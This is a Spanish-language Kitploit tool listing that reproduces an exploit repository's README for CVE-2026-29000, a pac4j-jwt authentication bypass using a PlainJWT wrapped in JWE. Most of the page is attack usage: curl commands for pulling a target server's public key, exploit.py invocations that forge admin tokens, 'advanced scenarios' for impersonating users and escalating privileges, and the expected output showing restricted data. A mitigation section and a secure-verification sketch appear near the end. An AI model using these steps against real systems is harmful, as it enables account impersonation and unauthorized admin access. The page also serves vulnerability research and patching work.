Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-29000 — Exploit para CVE-2026-29000, una omisión de autenticación JWT en pac4j-jwt mediante PlainJWT envuelto en JWE, que permite la falsificación de tokens y la escalada de privilegios. | Kitploit
Herramientas/GitHubGitHub/rootx111/cve-2026-29000
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubrootx111/cve-2026-29000

cve-2026-29000

Exploit para CVE-2026-29000, una omisión de autenticación JWT en pac4j-jwt mediante PlainJWT envuelto en JWE, que permite la falsificación de tokens y la escalada de privilegios.

Ver Repositorio
21hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit CVE-2026-29000

Omisión de autenticación JWT en pac4j-jwt mediante PlainJWT envuelto en JWE

Descripción de la vulnerabilidad

CVE-2026-29000 es una vulnerabilidad crítica de omisión de autenticación que afecta a las versiones de pac4j-jwt anteriores a 4.5.9, 5.7.9 y 6.3.3. La vulnerabilidad permite a atacantes remotos falsificar tokens de autenticación y omitir la verificación de firmas.

Detalles técnicos

La vulnerabilidad existe en el componente JwtAuthenticator al procesar JWT cifrados (JWE). Cuando se recibe un token JWE:

  1. El servidor descifra el JWE usando su clave privada RSA
  2. El contenido descifrado revela un JWT interno
  3. VULNERABILIDAD: El servidor extrae los claims del JWT interno sin verificar su firma
  4. Los atacantes pueden crear un JWE que envuelva un PlainJWT (algoritmo: "none") con claims arbitrarios

Requisitos del ataque

  • Acceso a la clave pública RSA del servidor (a menudo expuesta a través del endpoint JWKS)
  • Capacidad de enviar tokens manipulados a la aplicación vulnerable

Impacto

  • Omisión completa de autenticación: Los atacantes pueden autenticarse como cualquier usuario
  • Escalada de privilegios: Pueden asignar roles arbitrarios, incluidos roles de administrador
  • Secuestro de sesión: Pueden suplantar a usuarios legítimos sin credenciales

Versiones afectadas

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

Contenido del repositorio

  • exploit.py - Script de exploit en Python para generar tokens maliciosos
  • vulnerable_server.py - Servidor de demostración que simula la vulnerabilidad
  • requirements.txt - Dependencias de Python
  • README.md - Este archivo

Instalación

Requisitos previos

  • Python 3.8 o superior
  • Gestor de paquetes pip

Configuración

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# Instalar dependencias
pip3 install -r requirements.txt

Uso

Paso 1: Iniciar el servidor de pruebas vulnerable

root@kitploit:~
python3 vulnerable_server.py

El servidor:

  • Generará un par de claves RSA (guardadas en server_private.pem y server_public.pem)
  • Se iniciará en http://127.0.0.1:5000
  • Expondrá la clave pública en http://127.0.0.1:5000/public-key

Paso 2: Obtener la clave pública del objetivo

En un escenario de ataque real, obtenga la clave pública del servidor objetivo:

root@kitploit:~
# Descargar la clave pública del endpoint JWKS
curl http://target-server.com/jwks > target_jwks.json

# O endpoint directo de clave pública
curl http://target-server.com/public-key > target_public.pem

Para el servidor de pruebas:

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

Paso 3: Generar token malicioso

Use el script de exploit para crear un PlainJWT envuelto en JWE:

root@kitploit:~
# Uso básico - autenticarse como admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# Autenticarse como usuario específico con múltiples roles
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# Añadir claims personalizados
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# Guardar token en un archivo
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

Paso 4: Probar el ataque

Prueba contra el servidor vulnerable

root@kitploit:~
# Establecer el token malicioso (copiar de la salida de exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# Acceder al endpoint público (debería funcionar)
curl http://127.0.0.1:5000/api/public

# Acceder al endpoint de usuario con token malicioso (¡OMISIÓN!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# Acceder al endpoint de admin con token malicioso (¡ESCALADA DE PRIVILEGIOS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Salida esperada del endpoint de admin:

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

Flujo de ataque completo

Comandos de prueba completos

root@kitploit:~
# 1. Instalar dependencias
pip3 install -r requirements.txt

# 2. Iniciar servidor vulnerable (en terminal 1)
python3 vulnerable_server.py

# 3. En una nueva terminal, obtener la clave pública
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. Generar token de admin malicioso
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. Extraer token a variable
TOKEN=$(cat token.txt)

# 6. Probar endpoint público (línea base - sin autenticación necesaria)
curl http://127.0.0.1:5000/api/public

# 7. Probar endpoint de usuario (debería funcionar con nuestro token malicioso)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. Probar endpoint de admin (ÉXITO DEL EXPLOIT - debería acceder a datos restringidos)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. Verificar que la respuesta contiene la flag
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

Escenarios de ataque avanzados

Escenario 1: Suplantar a un usuario específico

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

Escenario 2: Escalar a administrador

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

Escenario 3: Inyección de claims personalizados

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

Opciones del script de exploit

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens

options:
  -h, --help            show this help message and exit
  --subject SUBJECT, -s SUBJECT
                        Subject (username) to impersonate
  --roles ROLES, -r ROLES
                        Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Path to RSA public key PEM file
  --claims CLAIMS, -c CLAIMS
                        Additional claims as JSON string
  --generate-keypair, -g
                        Generate a test RSA keypair and save to files
  --output OUTPUT, -o OUTPUT
                        Output file for the generated token

Cómo funciona la vulnerabilidad

Flujo JWT normal (seguro)

root@kitploit:~
1. El cliente envía JWT con firma
2. El servidor verifica la firma con la clave pública
3. Si es válida, extrae los claims
4. Concede acceso según los claims

Flujo vulnerable (CVE-2026-29000)

root@kitploit:~
1. El atacante obtiene la clave pública RSA del servidor
2. El atacante crea un PlainJWT (alg: none) con claims arbitrarios
   Ejemplo: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. El atacante cifra el PlainJWT usando JWE con la clave pública del servidor
4. El servidor descifra el JWE correctamente
5. El servidor extrae los claims del PlainJWT interno SIN verificación de firma
6. El servidor concede acceso basándose en los claims falsificados

Por qué funciona

La vulnerabilidad ocurre porque:

  • JWE proporciona confidencialidad, no integridad para el contenido interno
  • El servidor asume que el éxito del descifrado implica autenticidad
  • PlainJWT (alg: none) no tiene firma que verificar
  • Los claims se confían únicamente porque fueron cifrados

Mitigación

Para desarrolladores

  1. Actualizar pac4j-jwt a la versión 4.5.9, 5.7.9, 6.3.3 o posterior
  2. Verificar siempre las firmas de los JWT internos después del descifrado JWE
  3. Rechazar tokens PlainJWT (algoritmo: "none")
  4. Validar el algoritmo en el encabezado JWT contra una lista blanca

Para administradores de sistemas

  1. Actualizar las aplicaciones vulnerables inmediatamente
  2. Auditar los registros de autenticación en busca de actividad sospechosa
  3. Revisar las sesiones de usuario y revocar tokens sospechosos
  4. Considerar la implementación de capas adicionales de autenticación

Implementación segura

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. Descifrar JWE
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. Analizar el encabezado del JWT interno
    header = parse_jwt_header(inner_jwt)

    # 3. CRÍTICO: Verificar que el algoritmo no sea "none"
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT not allowed")

    # 4. CRÍTICO: Verificar la firma del JWT interno
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("Invalid JWT signature")

    # 5. Extraer claims solo después de la verificación
    return extract_claims(inner_jwt)

Lista de verificación de pruebas

  • Instalar dependencias: pip3 install -r requirements.txt
  • Iniciar servidor vulnerable: python3 vulnerable_server.py
  • Obtener clave pública: curl http://127.0.0.1:5000/public-key > server_public.pem
  • Generar token malicioso: python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • Probar endpoint público: curl http://127.0.0.1:5000/api/public
  • Probar endpoint de usuario con token: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • Probar endpoint de admin con token: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Guía de inicio rápido

root@kitploit:~
# Configuración y prueba en una sola línea
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Referencias

  • Aviso CVE-2026-29000
  • Aviso de seguridad de pac4j
  • Hoja de referencia de seguridad JWT de OWASP
  • RFC 7519 (JSON Web Token)
  • RFC 7516 (JSON Web Encryption)

Aviso legal

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Use esta herramienta solo contra sistemas que posea o para los que tenga permiso explícito de prueba.

Licencia

Licencia MIT - Solo con fines educativos

Autor

Investigador de seguridad Fecha: 2026-03-16

Descargar herramienta
  • Verificar que se obtiene la flag: Buscar FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}